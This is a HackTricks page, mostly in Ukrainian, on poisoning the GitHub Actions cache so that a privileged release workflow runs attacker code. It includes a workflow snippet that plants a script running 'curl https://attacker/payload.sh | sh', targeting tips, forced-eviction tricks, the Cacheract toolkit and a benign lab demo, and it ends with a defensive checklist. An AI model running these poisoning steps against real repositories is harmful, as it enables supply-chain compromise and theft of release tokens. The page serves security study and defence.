GH Actions - Cache Poisoning

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

Кеш GitHub Actions є глобальним для репозиторію. Будь-який workflow, який знає кеш key (або restore-keys), може заповнити цей запис, навіть якщо job має лише permissions: contents: read. GitHub не розділяє кеші за workflow, типом події або рівнем довіри, тому атакуючий, який скомпрометував low-privilege job, може отруїти кеш, який пізніше відновить привілейований release job. Саме так компрометація Ultralytics перейшла від pull_request_target workflow до PyPI publishing pipeline.

Примітиви атаки

  • actions/cache надає як операції restore, так і save (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Виклик save дозволений для будь-якого job, за винятком справді недовірених pull_request workflow, ініційованих з форків.
  • Записи кешу ідентифікуються виключно за key. Широкі restore-keys полегшують інжекцію payload, оскільки атакуючому потрібно лише зіткнутися з префіксом.
  • Cache keys і версії задаються клієнтом; сервіс кешу не перевіряє, чи відповідає key/version довіреному workflow або шляху кешу.
  • URL сервера кешу + runtime token мають триваліший термін дії відносно workflow (історично ~6 годин, зараз ~90 хвилин) і не можуть бути відкликані користувачем. Станом на кінець 2024 року GitHub блокує запис у кеш після завершення початкового job, тому атакуючі мають писати, поки job ще виконується, або заздалегідь отруїти майбутні ключі.
  • Файлова система з кешу відновлюється буквально. Якщо кеш містить скрипти або бінарні файли, які будуть виконані пізніше, атакуючий контролює цей шлях виконання.
  • Сам файл кешу не перевіряється при відновленні; це просто zstd-стиснений архів, тож отруєний запис може перезаписати скрипти, package.json або інші файли під шляхом відновлення.

Приклад ланцюга експлуатації

Авторський workflow (pull_request_target) отруїв кеш:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Привілейований workflow відновив і виконав poisoned cache:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

The second job now runs attacker-controlled code while holding release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).

Poisoning mechanics

Записи кешу GitHub Actions зазвичай є zstd-compressed tar archives. Ви можете створити такий локально та завантажити його в кеш:

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.

Практичні поради щодо експлуатації

  • Націлюйтесь на workflows, що тригеряться через pull_request_target, issue_comment або команди ботів і при цьому все ще зберігають кеш; GitHub дозволяє їм перезаписувати ключі на рівні репозиторію навіть коли runner має тільки доступ для читання до репо.
  • Шукайте детерміністичні cache keys, що повторно використовуються через межі довіри (наприклад, pip-${{ hashFiles('poetry.lock') }}) або занадто промискуітні restore-keys, і збережіть свій шкідливий tarball до того, як виконається привілейований workflow.
  • Моніторте логи на наявність записів Cache saved або додайте власний крок збереження кешу, щоб наступна release job відновила payload і виконала троянізовані скрипти або бінарні файли.

Новіші техніки, виявлені у ланцюжку Angular (2026)

  • Cache v2 “prefix hit” behavior: У Cache v2 при точковому промаху все ще може бути відновлено інший запис, що має той самий префікс ключа (ефективно — “всі ключі є restore keys”). Атакуючі можуть попередньо засіяти майже-колізійні ключі, щоб майбутній промах впав на отруєний об’єкт.
  • Forced eviction in one run: З 20 листопада 2025 року GitHub відсилає записи негайно, коли використання кешу репозиторію перевищує ліміт (за замовчуванням 10 GB). Атакуючий може спочатку завантажити сміттєві дані кешу, вичавити легітимні записи під час тієї ж job, а потім записати шкідливий кеш-ключ без очікування добового циклу очищення.
  • setup-node cache pivots via reusable actions: Повторно використовувані/внутрішні actions, що обгортають actions/setup-node з cache-dependency-path, можуть непомітно з’єднувати workflows з низьким та високим рівнем довіри. Якщо обидва шляхи хешуються у спільні ключі, отруєння кешу залежностей може виконатись у привілейованій автоматизації (наприклад, Renovate/bot jobs).
  • Chaining cache poisoning into bot-driven supply chain abuse: У випадку Angular, отруєння кешу виявило bot PAT, який потім можна було використати для force-push бот-належних PR heads після затвердження. Якщо правила скидання затверджень звільняють бот-акторів, це дозволяє замінювати перевірені коміти на шкідливі (наприклад, підроблені action SHAs) перед merge.

##å Cacheract

Cacheract є PoC-орієнтованим набором інструментів для GitHub Actions cache poisoning в авторизованому тестуванні. Практична цінність у тому, що він автоматизує тендітні частини, які легко зробити неправильно вручну:

  • Виявляє і використовує runtime cache context з runner (ACTIONS_RUNTIME_TOKEN and cache service URL).
  • Перераховує і націлює кандидатні cache keys/versions, що використовуються downstream workflows.
  • Примушує eviction шляхом переповнення квоти кешу (коли застосовно) і потім записує записи під контролем атакуючого в тому ж run.
  • Засіває отруєний вміст кешу так, щоб пізніші workflows відновили і виконали модифіковані інструменти.

Це особливо корисно в середовищах Cache v2, де таймінг і поведінка ключів/версій мають більше значення, ніж у ранніх реалізаціях кешу.

Demo

Використовуйте це лише в репозиторіях, якими ви володієте або в яких вам явно дозволено проводити тестування.

1. Vulnerable workflow (untrusted trigger can save cache)

Цей workflow імітує anti-pattern pull_request_target: він записує вміст кешу з контексту, контрольованого атакуючим, і зберігає його під детерміністичним ключем.

name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]

permissions:
contents: read

jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

2. Привілейований робочий процес (відновлює та виконує cached binary/script)

Цей робочий процес відновлює той самий ключ і виконує toolchain/bin/build, утримуючи фіктивний секрет. Якщо кеш отруєно, шлях виконання контролюється атакуючим.

name: privileged-consumer
on:
workflow_dispatch:

permissions:
contents: read

jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Запустіть лабораторію

  • Додайте стабільний файл toolchain.lock, щоб обидва workflow-и використовували той самий ключ кешу.
  • Запустіть untrusted-cache-writer з тестового PR.
  • Запустіть privileged-consumer через workflow_dispatch.
  • Підтвердіть, що POISONED_BUILD_PATH з’являється в логах і що створено файл /tmp/cache-poisoning-demo.txt.

4. Що це демонструє технічно

  • Порушення довіри кешу між workflow’ами: Авторський і споживацький workflows не мають однакового рівня довіри, але використовують спільний простір імен кешу.
  • Ризик виконання під час відновлення: Перед виконанням відновленого скрипта/бінарника не виконується перевірка цілісності.
  • Зловживання детерміністичними ключами: Якщо job з високим рівнем довіри використовує передбачувані ключі, job з низьким рівнем довіри може заздалегідь розмістити шкідливий вміст.

5. Контрольний список перевірок для захисту

  • Розділяйте ключі за межами довіри (pr-, ci-, release-) і уникайте спільних префіксів.
  • Вимкніть запис у кеш у ненадійних workflow-ах.
  • Хешуйте/перевіряйте відновлений виконуваний вміст перед запуском.
  • Уникайте виконання інструментів безпосередньо з шляхів кешу.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks